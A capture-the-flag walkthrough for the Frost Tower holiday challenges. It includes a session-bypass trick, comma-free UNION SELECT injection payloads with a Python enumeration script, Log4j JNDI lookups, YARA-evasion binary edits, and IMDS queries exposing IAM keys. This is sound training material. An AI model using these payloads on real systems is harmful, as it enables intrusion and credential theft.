POST /feedback/guest_complaint.php HTTP/1.1
Host: frost-tower.local
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 353
Origin: http://frost-tower.local
DNT: 1
Connection: keep-alive
Referer: http://frost-tower.local/feedback/guest_complaint.html
Upgrade-Insecure-Requests: 1

name=Muffy+VonDuchess+Sebastian&troll_id=I+don%27t+know.+There+were+several+of+them.&guest_info=Room+1024&description=I+have+never%2C+in+my+life%2C+been+in+a+facility+with+such+a+horrible+staff.+They+are+rude+and+insulting.+What+kind+of+place+is+this%3F+You+can+be+sure+that+I+%28or+my+lawyer%29+will+be+speaking+directly+with+Mr.+Frost%21&submit=SubmitHTTP/1.1 200 OK
...

So lets search for this room

Search for Room 1024

Open these HTTP streams like before:

...
name=Yaqh&troll_id=2796&guest_info=Snooty+lady+in+room+1024&description=Lady+call+desk+and+ask+for+more+towel.+Yaqh+take+to+room.+Yaqh+ask+if+she+want+more+towel+because+she+is+like+to+steal.+She+say+Yaqh+is+insult.+Yaqh+is+not+insult.+Yaqh+is+Yaqh.&submit=SubmitHTTP/1.1 200 OK
...
...
name=Flud&troll_id=2083&guest_info=Very+cranky+lady+in+room+1024&description=Lady+call+front+desk.+Complain+%22employee%22+is+rude.+Say+she+is+insult+and+want+to+speak+to+manager.+Send+Flud+to+room.+Lady+say+troll+call+her+towels+thief.+I+say+stop+steal+towels+if+is+bother+her.&submit=SubmitHTTP/1.1 200 OK
...
...
name=Hagg&troll_id=2013&guest_info=Incredibly+angry+lady+in+room+1024&description=Lady+call+front+desk.+I+am+walk+by+so+I+pick+up+phone.+She+is+ANGRY+and+shout+at+me.+Say+she+has+never+been+so+insult.+I+say+she+probably+has+but+just+didn%27t+hear+it.&submit=SubmitHTTP/1.1 200 OK
...

So the names in alphabetical order as solution is:

Flud Hagg Yaqh

12 Frost Tower Website Checkup

The question is

Investigate Frost Tower’s website for security issues. This source code will be useful in your analysis. In Jack Frost’s TODO list, what job position does Jack plan to offer Santa? Ribb Bonbowford, in Santa’s dining room, may have some pointers for you.

Ribb Bonbowford gives you this information

Gosh, with skills like that, I’ll bet you could help figure out what’s really going on next door… And, as I promised, let me tell you what I know about SQL injection. I hear that having source code for vulnerability discovery dramatically changes the vulnerability discovery process. I imagine it changes how you approach an assessment too. When you have the source code, API documentation becomes tremendously valuable. Who knows? Maybe you’ll even find more than one vulnerability in the code.

So you have to solve two things:

  • Circumvent the session protection
  • Exploit an SQL injection vulnerability

Circumvent the session protection

If you look into the code server.js you can find:

Postcontact Session Error

So you will get a valid session cookie if you enter an e-mail address twice in this form. To do this goto https://staging.jackfrosttower.com/contact

fill the form and do it twice with an equal e-mail:

Enter form data

until you get “Email Already Exists”

After that you directly can goto https://staging.jackfrosttower.com/postcontact

Exploit an SQL injection vulnerability

Find the SQL injection

The vulnerable code is in the details page. Inspecting the code you can see a usage of a suspicious raw function which goes into a concatenated sql query:

Details api Code 1

and finally spits out data:

details api code 2

The raw function is described in the node mysql documentation:

node mysql documentation raw

So since no escaping is taking place here and the sql query is concatenated you should be able to inject sql in between the commas.

This is also underlined by the reference in Jack’s Rest Room when you pull the trigger from the toilet.

hint jacks rest room

The sql query looks something like this if you deliver 2 values:

SELECT * FROM uniquecontact WHERE id=" +ids[0]+ " OR id=" +ids[1]+ " OR id=?"

where ? will be “0”.

e.g. “1,2”:

SELECT * FROM uniquecontact WHERE id=1 OR id=2 OR id=?"

with ? = 0.

For a fast test you can use:

1,2 OR TRUE -- 

(beware of the space after the two dashes)

vs

1,2 AND FALSE -- 

One results in all entries of the table uniquecontact. The other one in only one entry, namely the first.

You can evaluate these commands directly on the database if you run:

run -it --rm --name mysql -e MYSQL_ROOT_PASSWORD=secret -e MYSQL_USER=encontact -e MYSQL_PASSWORD=password -e MYSQL_DATABASE=encontact -d -p 127.0.0.1:3306:3306 mariadb:latest mysqld
[sudo] Passwort für phoot1if: 
<some docker id>
deti <some docker id> mysql  -uroot -psecret

Copy paste the content of sql/encontact_db.sql into the mysql console inside docker. After that you can run MYSQL commands directly at the database encontact.

Find a UNION SELECT

Next you want to iterate the database. In mysql you therefore have to get the table information_schema. So first it is necessary to find the number of columns from your current table uniquecontact. Looking inside the code

uniquecontact table

you can count 7 columns.

A standard UNION SELECT would be like

SELECT * FROM uniquecontact WHERE id=1 OR id=2 UNION SELECT 1,2,3,4,5,6,7 -- "

but this doesn’t work because we have no possibility to set commas as a payload.

At this point googling revealed a nice workaround with JOINS resulting in the payload:

1,2 UNION SELECT * FROM ((SELECT 1)A JOIN (SELECT 2)B JOIN (SELECT 3)C JOIN (SELECT 4)D JOIN (SELECT 5)E JOIN (SELECT 6)F JOIN (SELECT 7)G) -- 

Enumerate tables and columns

Now you can iterate the tables of database:

1,2 UNION SELECT * FROM ((SELECT 1)A JOIN (SELECT 2)B JOIN ( SELECT table_name FROM information_schema.tables limit 1 offset 0)C JOIN (SELECT 4)D JOIN (SELECT 5)E JOIN (SELECT 6)F JOIN (SELECT 7)G) --

Increment counter after OFFSET to go further.

To fetch all tables in the database you can use

#!/usr/bin/env python3
import urllib

import requests
import requests as req
from bs4 import BeautifulSoup

s = requests.Session()

resp = s.get("https://staging.jackfrosttower.com/")
resp = s.get("https://staging.jackfrosttower.com/contact")

soup = BeautifulSoup(resp.text, 'lxml')
csrfToken = soup.input["value"]

resp = s.post("https://staging.jackfrosttower.com/postcontact", allow_redirects=True, data={
        "_csrf": csrfToken,
        "fullname" : "abc",
        "email" : "a%40b.c",
        "phone": "123",
        "country": "Bangladesh",
        "submit": "SAVE"})

soup = BeautifulSoup(resp.text, 'lxml')
csrfToken = soup.input["value"]

resp = s.post("https://staging.jackfrosttower.com/postcontact", allow_redirects=True, data={
        "_csrf": csrfToken,
        "fullname" : "abc",
        "email" : "a%40b.c",
        "phone": "123",
        "country": "Bangladesh",
        "submit": "SAVE"})

for i in range(0,100):
        try:
                resp = s.get("https://staging.jackfrosttower.com/detail/1,2 UNION SELECT * FROM ((SELECT 1)A JOIN (SELECT 2)B JOIN ( SELECT table_name FROM information_schema.tables limit 1 offset "+str(i)+")C JOIN (SELECT 4)D JOIN (SELECT 5)E JOIN (SELECT 6)F JOIN (SELECT 7)G) -- ")
                soup = BeautifulSoup(resp.text, 'lxml')
                ul = soup.find_all("ul", {"class":"datadetail"})[2]
                print(ul.li.string)
        except:

Among the enumerated tables there is an interesting one that fits the original question

In Jack Frost’s TODO list, what job position does Jack plan to offer Santa?

iterate tables

To iterate the columns in this table use a similar approach:

1,2 UNION SELECT * FROM ((SELECT 1)A JOIN (SELECT 2)B JOIN ( SELECT column_name FROM information_schema.columns where table_name='todo' limit 1 offset 0)C JOIN (SELECT 4)D JOIN (SELECT 5)E JOIN (SELECT 6)F JOIN (SELECT 7)G) --

and increment the value after OFFSET. You will get:

id note completed

Exfiltrate

Let look inside the columns of note:

1,2 UNION SELECT * FROM ((SELECT 1)A JOIN (SELECT 2)B JOIN ( SELECT note FROM todo where id=0)C JOIN (SELECT 4)D JOIN (SELECT 5)E JOIN (SELECT 6)F JOIN (SELECT 7)G) --

Nothing.

1,2 UNION SELECT * FROM ((SELECT 1)A JOIN (SELECT 2)B JOIN ( SELECT note FROM todo where id=1)C JOIN (SELECT 4)D JOIN (SELECT 5)E JOIN (SELECT 6)F JOIN (SELECT 7)G) --
Buy up land all around Santa's Castle

id=2 :

Build bigger and more majestic tower next to Santa's

id=3..9:

Erode Santa's influence at the North Pole via FrostFest, the greatest Con in history
Dishearten Santa's elves and encourage defection to our cause
Steal Santa's sleigh technology and build a competing and way better Frosty present delivery vehicle
Undermine Santa's ability to deliver presents on 12/24 through elf staff shortages, technology glitches, and assorted mayhem
Force Santa to cancel Christmas
SAVE THE DAY by delivering Frosty presents using merch from the Frost Tower Gift Shop to children world-wide... so the whole world sees that Frost saved the Holiday Season!!!! Bwahahahahaha!
With Santa defeated, offer the old man a job as a clerk in the Frost Tower Gift Shop so we can keep an eye on him

So the solution is

clerk

13 FPGA Programming

For this you need https://www.fpga4fun.com/MusicBox.html and https://www.youtube.com/watch?v=GFdG1PJ4QjA.

Start to get 500 Hz to work like that:

// Note: For this lab, we will be working with QRP Corporation's CQC-11 FPGA.
// The CQC-11 operates with a 125MHz clock.
// Your design for a tone generator must support the following 
// inputs/outputs:
// (NOTE: DO NOT CHANGE THE NAMES. OUR AUTOMATED GRADING TOOL
// REQUIRES THE USE OF THESE NAMES!)
// input clk - this will be connected to the 125MHz system clock
// input rst - this will be connected to the system board's reset bus
// input freq - a 32 bit integer indicating the required frequency
//              (0 - 9999.99Hz) formatted as follows:
//              32'hf1206 or 32'd987654 = 9876.54Hz
// output wave_out - a square wave output of the desired frequency
// you can create whatever other variables you need, but remember
// to initialize them to something!

`timescale 1ns/1ns
module tone_generator (
    input clk,
    input rst,
    input [31:0] freq,
    output wave_out
);
    // ---- DO NOT CHANGE THE CODE ABOVE THIS LINE ---- 
    // ---- IT IS NECESSARY FOR AUTOMATED ANALYSIS ----
    // TODO: Add your code below. 
    // Remove the following line and add your own implementation. 
    // Note: It's silly, but it compiles...
    // divide by 2 because signal down <-> signal up
    parameter clkdivider = 125000000/500/2;
    
    reg[31:0] counter;
    always @(posedge clk) 
    begin
        if (!rst)
        begin
            if (counter == 0) counter <= clkdivider-1; else counter <= counter - 1;
        end
    end
    
    reg speaker;
    always @(posedge clk)
    begin
        if (freq == 0) begin end;
        if (rst == 1) begin end;
        if (counter == 0) speaker <= (~speaker);
    end

    assign wave_out = ~speaker;
endmodule

And add the variables freq and rst:

// Note: For this lab, we will be working with QRP Corporation's CQC-11 FPGA.
// The CQC-11 operates with a 125MHz clock.
// Your design for a tone generator must support the following 
// inputs/outputs:
// (NOTE: DO NOT CHANGE THE NAMES. OUR AUTOMATED GRADING TOOL
// REQUIRES THE USE OF THESE NAMES!)
// input clk - this will be connected to the 125MHz system clock
// input rst - this will be connected to the system board's reset bus
// input freq - a 32 bit integer indicating the required frequency
//              (0 - 9999.99Hz) formatted as follows:
//              32'hf1206 or 32'd987654 = 9876.54Hz
// output wave_out - a square wave output of the desired frequency
// you can create whatever other variables you need, but remember
// to initialize them to something!

`timescale 1ns/1ns
module tone_generator (
    input clk,
    input rst,
    input [31:0] freq,
    output wave_out
);
    // ---- DO NOT CHANGE THE CODE ABOVE THIS LINE ---- 
    // ---- IT IS NECESSARY FOR AUTOMATED ANALYSIS ----
    // TODO: Add your code below. 
    // Remove the following line and add your own implementation. 
    // Note: It's silly, but it compiles...
    // divide by 2 because signal down <-> signal up
    localparam CLK_FREQ = 125000000;
    
    reg[31:0] counter;
    reg speaker;
    always @(posedge clk or posedge rst) 
    begin
        if (rst)
        begin
            counter <= 32'h00;
            speaker <= 0;
        end
        if (!rst)
        begin
            if (counter == 32'h00) 
            begin
                counter <= (CLK_FREQ/(freq/50))-1;
                speaker <= ~speaker;
            end
            else counter <= counter - 1;
        end
    end
    
    assign wave_out = ~speaker;
endmodule

Final steps to solve game

You will get an FPGA. Put this FPGA into the appliance next to the FPGA Programming challenge:

Open the Spaceships Door

Go into the spaceship.

inside spaceship

Here you will find the solution for the game:

Icy Sickles:

We come in peace! I am Icy Sickles from ice Planet Frost. Many centuries ago, we Frostian trolls sent an expedition to study your planet and peoples. Jack Frost, scion of Planet Frost’s ruling family, captained that long-ago mission, which carried many hundreds of our people to your planet to conduct our research.

Erin Fection:

I am Erin Fection, the pilot of this interstellar spaceship. Our first expedition established a base in the land of Oz, where our researchers became known as “Munchkins.” We received a message from them long ago about a Great Schism, where the Frostian expedition split into two warring factions: Munchkins and Elves. Thankfully, they managed to establish an uneasy peace by relocating the Elves to the North Pole. Since then, we have heard nothing from the expedition. They went interstellar radio silent. Until NOW.

Buttercup:

I am Buttercup, Princess of ice Planet Frost. Thanks to your help, we received the message from the device summoning us back to Earth to address the recent unpleasantness. We had no idea that Jack Frost would cause such trouble! We sincerely apologize. We will take Jack back home to Planet Frost, along with all the other trolls. The Elves and Munchkins, of course, can remain if they opt to do so. Fear not, we WILL bring Jack and any guilty trolls to justice for their infractions. They will not bother your planet any longer. Again, we apologize for all the troubles he has caused, and we sincerely THANK YOU for your help! And, now that you’ve helped us solve everything, feel free to show off your skills with some swag - only for our victors!

Jack Frost

I was just having a little fun. C’mon, man! And, I was just getting started! I had such big plans! I don’t want to go home!!!

Santa:

The Frostians have reached out to me via video link. They’ve explained to me all that has happened. I’d like to thank you for your truly excellent work in foiling Jack’s plans and ensuring that he is finally brought to justice. On behalf of all of us here at the North Pole, we wish you and yours a happy and healthy Holiday Season. Thank you and HAPPY HOLIDAYS from me and all of the elves. Ho Ho Ho!

Achievements

Logic munchers

Understand the boolean logic and play the mentioned level

Greeping for gold

Level 1

grep '34.76.1.22' bigscan.gnmap
Host: 34.76.1.22 ()     Status: Up
Host: 34.76.1.22 ()     Ports: 62078/open/tcp//iphone-sync///      Ignored State: closed (999)

=> 62078

Level 2

grep '34.77.207.226' bigscan.gnmap
Host: 34.77.207.226 ()     Status: Up
Host: 34.77.207.226 ()     Ports: 8080/open/tcp//http-proxy///      Ignored State: filtered (999)

=> 8080

Level 3

grep 'Up' bigscan.gnmap | wc -l
26054

=> 26054

Level 4

grep -E '(\s80|\s443|\s8080)\/open' bigscan.gnmap | wc -l
14372

=> 14372

Level 5

echo $((`grep 'Up' -A 1 bigscan.gnmap | grep Up | wc -l` - `grep 'Up' -A 1 bigscan.gnmap | grep Port |  wc -l`))
402

=> 402

Level 6

while read p; do out1=$(echo $p| cut -f 2 -d " ");out2=$(echo -n $p|grep -o "open"|wc -l); echo "$out1  $out2"; done < <(grep "Ports" bigscan.gnmap) > ot
sort -k2 -n ot | tail
34.79.226.71 11
34.79.238.251 11
34.79.251.175 11
34.79.45.15 11
34.79.74.77 11
34.76.237.4 12
34.77.152.226 12
34.78.10.40 12
34.79.22.38 12
34.79.94.34 12

=> 12

strace lctrace retrace

ls -> file: "make the candy"
./make the candy -> Unable to open configuration file
ltrace ./make the candy -> fopen("registration.json","r")
echo '{"a:"b"}' > registration.json
ltrace ./make the candy -> strstr("{"a":"b"}\n", "Registration")
echo '{"Registration":"b"}' > registration.json
ltrace ./make the candy -> strstr(":"b"}\n","True")
echo '{"Registration":"True"}' > registration.json

yara analysis

Run the program “the_critical_elf_app” and look at the output: “yara_rule_135 ./the_critical_elf_app” yara_rule_135 has the condition “candycane” in the yara_rules folder. So change this string using vim in the binary Next rule looks for hex at the end of the string “This is critical for the execution of this program!!”. Replace this too in the binary using vim. The rule 1732 has an and condition including the filesize. So cat the file as often together until it is larger than 50 KB. If the binary doesnt work after that, change the before mentioned values in all findings in the file.

IPv6 Sandbox

First check normal IPv4 stuff:

ip neigh -> get arp and ndp  findings -> 192.168.160.1, fe80::1, fe80::42:c0ff:fea8:a002
nmap 192.168.160.1 -p- -> 22,3000,8000 open
ping IPv6 
-> ping6 ff02::1 -c2
-> ping6 ff02::2 -c2 
nmap at the IPv6 addresses:
-> nmap -6 fe80::42::c0ff:fea8:a002%eth0 -p- -> 80,9000 open
curl
-> curl --interface eth0 http://[fe80::42::c0ff:fea8:a002]:80/ says 
"Connect to the other open TCP port to get the striper's activation phrase"
-> curl --interface eth0 http://[fe80::42::c0ff:fea8:a002]:9000/
"PieceOnEarth"

Place this string in the top terminal as solution

Elf code Python

Level 1

Just run the code

Level 2

import elf, munchkins, levers, lollipops, yeeters, pits
elf.moveLeft(10)
elf.moveUp(2)
elf.moveRight(3)
elf.moveUp(6)
elf.moveLeft(3)
elf.moveUp(2)

Level 3

import elf, munchkins, levers, lollipops, yeeters, pits
lever0 = levers.get(0)
modified_data=lever0.data()+2
elf.moveLeft(6)
lever0.pull(modified_data)
elf.moveLeft(4)
elf.moveUp(10)

Level 4

import elf, munchkins, levers, lollipops, yeeters, pits
# Complete the code below:
lever0, lever1, lever2, lever3, lever4 = levers.get()
# Move onto lever4
elf.moveLeft(2)
# This lever wants a str object:
lever4.pull("A String")
# Need more code below:
elf.moveUp(2)
lever3.pull(True)
elf.moveUp(2)
lever2.pull(1)
elf.moveUp(2)
lever1.pull([])
elf.moveUp(2)
lever0.pull({})
elf.moveUp(2)

Level 5

import elf, munchkins, levers, lollipops, yeeters, pits
# Fix/Complete Code below
lever0, lever1, lever2, lever3, lever4 = levers.get()
# Solve for each lever, moving to the space
# on the lever before calling leverN.pull()
elf.moveLeft(2)
lever4.pull(lever4.data()+" concatenate")
elf.moveUp(2)
lever3.pull(not lever3.data())
elf.moveUp(2)
lever2.pull(lever2.data()+1)
elf.moveUp(2)
l=lever1.data()
l.append(1)
lever1.pull(l)
elf.moveUp(2)
d=lever0.data()
d.update({"strkey":"strvalue"})
lever0.pull(d)
elf.moveUp(2)

Level 6

import elf, munchkins, levers, lollipops, yeeters, pits
# Fix/Complete the below code
lever = levers.get(0)
data = lever.data()
if type(data) == bool:
  data = not data
elif type(data) == int:
  data = data * 2
elif type(data) == str:
  data = data + data
elif type(data) == dict:
  data["a"] = data["a"]+1
elf.moveUp(2)
lever.pull(data)
elf.moveUp(2)

Level 7

import elf, munchkins, levers, lollipops, yeeters, pits
for num in range(5): #not sure if number is right
  elf.moveLeft(3)
  if num % 2 == 0:
    elf.moveUp(12)
  else:
    elf.moveDown(12)

Level 8

import elf, munchkins, levers, lollipops, yeeters, pits
all_lollipops = lollipops.get()
for lollipop in all_lollipops:
  elf.moveTo(lollipop.position)
lever0=levers.get(0)
elf.moveTo(lever0.position)
d = lever0.data()
d.insert(0,"munchkins rule")
lever0.pull(d)
elf.moveDown(5)
elf.moveTo({"x":2,"y":2})

Level 9

import elf, munchkins, levers, lollipops, yeeters, pits

def func_to_pass_to_mucnhkin(list_of_lists):
  sum_of_ints_in_list_of_lists = 0
  for member_list in list_of_lists:
    for member in member_list:
      if type(member) == int:
        sum_of_ints_in_list_of_lists = sum_of_ints_in_list_of_lists + member
  return sum_of_ints_in_list_of_lists

all_levers = levers.get()
# Create Movement pattern:
moves = [elf.moveDown, elf.moveLeft, elf.moveUp, elf.moveRight] * 2

# We iterate over each move in moves getting an index (i) number that increments by one each time
for i, move in enumerate(moves):
  move(i+1)
    # We need to call each move
  # if i is less than the len(all_levers), we pull the lever
  if i < len(all_levers):
    all_levers[i].pull(i)

elf.moveUp(2)
elf.moveLeft(4)
munchkin = munchkins.get(0)
munchkin.answer(func_to_pass_to_mucnhkin)
elf.moveUp(1)

Level 10

import elf, munchkins, levers, lollipops, yeeters, pits
import time
muns = munchkins.get()
lols = lollipops.get()[::-1]
for index, mun in enumerate(muns):
  # need to wait while absolute distance between
  # elf.position["x"] and mun.position['x'] is less than 6
  # then we move to next lollipop
  # We can use time.sleep(0.05) to add a small delay in a while loop
  while abs(elf.position["x"]-mun.position["x"]) < 6:
    time.sleep(0.05)
  elf.moveTo(lols[index].position)
elf.moveTo({"x":2,"y":2})

Document Analysis Exiftool Metadata

exiftool * | grep "Jack Frost" -C 45 | grep "^File Name"

=> 2021-12-21.docx

Frostavator

xor nor xnor
and nand or

Hoho No Fail2ban

Look into cat /var/log/hohono.log to get an overview

PoC to find the regex which shouldnt be allowed:

 cat /var/log/hohono.log  | grep -v successful | grep -v Valid | grep -v 'Invalid heartbeat' | grep -v   'rejected due to unknown user' | grep -v 'sent a malformed request' | grep -v 'Failed login'
 root@3ee23184d155:~#

vim /etc/fail2ban/filter.d/naughtylistservice.conf =>

cat /etc/fail2ban/filter.d/naughtylistservice.conf
[Definition]
failregex = Invalid heartbeat '.*' from <HOST>
Login from <HOST> rejected due to unknown user name
<HOST> sent a malformed request
Failed login from <HOST> for .*

vim /etc/fail2ban/action.d/naughtylistservice.conf =>

cat /etc/fail2ban/action.d/naughtylistservice.conf
[Definition]
actionban = /root/naughtylist add <ip>

vim /etc/fail2ban/jail.d/naughtylistservice.conf =>

cat /etc/fail2ban/jail.d/naughtylistservice.conf
# service name
[naughtylistservice]
# tune on / off
enabled = true
# filter for naughtylist service
filter = naughtylistservice
# file to parse
logpath = /var/log/hohono.log
# ban rule
# 10 times+ on 1 hour
maxretry = 10
findtime = 3600
action = naughtylistservice

service fail2ban restart fail2ban-client status fail2ban-client status naughtylistservice /root/naughtylist refresh

Santas Holiday Hero

Set cookie “HOHOHO” to “%7B%22single_player%22%%3Atrue%7D” Set a breakpoint at holidayhero.min.js:736 Goto console and set single_player_mode=true => Play together with SYSTEM and win

Bonus Blue Log4jack

-> Y
-> ls
-> next
-> cd vulnerable
-> cat DisplayFilev1.java
-> javac DisplayFilev1.java
-> java DisplayFilev1 testfile.txt
-> java DisplayFilev1 testfile2.txt
-> next
-> cat DisplayFilev2.java
-> next
-> javac DisplayFilev2.java
-> java DisplayFilev2 testfile.txt
-> java DisplayFilev2 testfile2.txt
-> next
-> java DisplayFilev2 '${java:version}'
-> java DisplayFilev2 '${env:APISECRET}'
-> next
-> ./startserver.sh
-> java DisplayFilev2 '${jndi:ldap://127.0.0.1:1389/Exploit}'
-> cd ../patched
-> ls
-> source classpath.sh
-> javac DisplayFilev2.java
-> java DisplayFilev2 '${java:version}'
-> cd ..
-> log4j2-scan vulnerable/
-> log4j2-scan patched/
-> log4j2-scan /var/www/solr
-> next
-> cd /var/log/www
-> ls
-> cd
-> cat logshell-search.sh
-> ./logshell-search.sh /var/log/www
-> ./logshell-search.sh /var/log/www | sed '1!d'
-> ./logshell-search.sh /var/log/www | sed '2!d'
-> ./logshell-search.sh /var/log/www | sed '3!d'
-> next

Bonus Red Log4jack

Follow all the steps in https://gist.github.com/joswr1ght/fb361f1f1e58307048aae5c0f38701e4 and replace WEBSERVERIP, NETCATIP and MARSHALSECIP with your ip (ip a).

Answer text from /home/solr/kringle.txt is

"""
The solution to Log4shell is patching
Sincerely,

Santa
"""

So
“patching” is what you search.

IMDS Exploration

To start the challenge enter:

Yes
The Instance Metadata Service (IMDS) is a virtual server for cloud assets at the IP address
169.254.169.254. Send a couple ping packets to the server.
ping -c 3 169.254.169.254
IMDS provides information about currently running virtual machine instances. You can use it
to manage and configure cloud nodes. IMDS is used by all major cloud providers.
Run 'next' to continue.
next
Developers can automate actions using IMDS. We'll interact with the server using the cURL
tool. Run 'curl http://169.254.169.254' to access IMDS data.
curl http://169.254.169.254
Different providers will have different formats for IMDS data. We're using an AWS-
compatible
IMDS server that returns 'latest' as the default response. Access the 'latest' endpoint.
Run 'curl http://169.254.169.254/latest'
curl http://169.254.169.254/latest
IMDS returns two new endpoints: dynamic and meta-data. Let's start with the dynamic
endpoint, which provides information about the instance itself. Repeat the request
to access the dynamic endpoint: 'curl http://169.254.169.254/latest/dynamic'.
curl http://169.254.169.254/latest/dynamic
The instance identity document can be used by developers to understand the instance
details.
Repeat the request, this time requesting the instance-identity/document resource:
'curl http://169.254.169.254/latest/dynamic/instance-identity/document'.
curl http://169.254.169.254/latest/dynamic/instance-identity/document
Much of the data retrieved from IMDS will be returned in JavaScript Object Notation (JSON)
format. Piping the output to 'jq' will make the content easier to read.
Re-run the previous command, sending the output to JQ: 'curl
http://169.254.169.254/latest/dynamic/instance-identity/document | jq'
curl http://169.254.169.254/latest/dynamic/instance-identity/document | jq
Here we see several details about the instance when it was launched. Developers can use this
information to optimize applications based on the instance launch parameters.
Run 'next' to continue.
next
In addition to dynamic parameters set at launch, IMDS offers metadata about the instance as
well. Examine the metadata elements available:
'curl http://169.254.169.254/latest/meta-data'
curl http://169.254.169.254/latest/meta-data
By accessing the metadata elements, a developer can interrogate information about the system.
Take a look at the public-hostname element:
'curl http://169.254.169.254/latest/meta-data/public-hostname'
Many of the data elements returned won't include a trailing newline, which causes the
response to blend into the prompt. Re-run the prior command, adding '; echo' to the end of
the command. This will add a new line character to the response.
curl http://169.254.169.254/latest/meta-data/public-hostname; echo

ec2-192-0-2-54.compute-1.amazonaws.com
There is a whole lot of information that can be retrieved from the IMDS server. Even AWS
Identity and Access Management (IAM) credentials! Request the endpoint
'http://169.254.169.254/latest/meta-data/iam/security-credentials' to see the instance IAM
role.
curl http://169.254.169.254/latest/meta-data/iam/security-credentials
Once you know the role name, you can request the AWS keys associated with the role. Request
the endpoint 'http://169.254.169.254/latest/meta-data/iam/security-credentials/elfu-deploy-
role' to get the instance AWS keys.
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/elfu-deploy-role
{
        "AccessKeyId": "AKIA5HMBSK1SYXYTOXX6",
        "Code": "Success",
        "LastUpdated": "2021-12-02T18:50:40Z",
        "Type": "AWS-HMAC",
        "AccessKeyId": "AKIA5HMBSK1SYXYTOXX6",
        "SecretAccessKey": "CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX",
        "Token": "NR9Sz/7fzxwIgv7URgHRAckJK0JKbXoNBcy032XeVPqP8/tWiR/KVSdK8FTPfZWbxQ==",
        "Expiration": "2026-12-02T18:50:40Z"
  }
So far, we've been interacting with the IMDS server using IMDSv1, which does not require
authentication. Optionally, AWS users can turn on IMDSv2 that requires authentication. This
is more secure, but not on by default.
Run 'next' to continue.
next
For IMDSv2 access, you must request a token from the IMDS server using the
X-aws-ec2-metadata-token-ttl-seconds header to indicate how long you want the token to be
used for (between 1 and 21,600 secods).
Examine the contents of the 'gettoken.sh' script in the current directory using 'cat'.
cat gettoken.sh

TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
This script will retrieve a token from the IMDS server and save it in the environment
variable TOKEN. Import it into your environment by running 'source gettoken.sh'.

I had to enter this twice:

source gettoken.sh
Now, the IMDS token value is stored in the environment variable TOKEN. Examine the contents
of the token by running 'echo $TOKEN'.
echo $TOKEN

gYVa2GgdDYbR6R4AFnk5y2aU0sQirNIIoAcpOUh/aZk=
With the IMDS token, you can make an IMDSv2 request by adding the X-aws-ec2-metadata-token
header to the curl request. Access the metadata region information in an
IMDSv2 request: 'curl -H "X-aws-ec2-metadata-token: $TOKEN"
http://169.254.169.254/latest/meta-data/placement/region'
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/placement/region

🍬🍬🍬🍬Congratulations!🍬🍬🍬🍬
You've completed the lesson on Instance Metadata interaction. Run 'exit' to close.

Open the Spaceship’s Door

See (last part of section 13)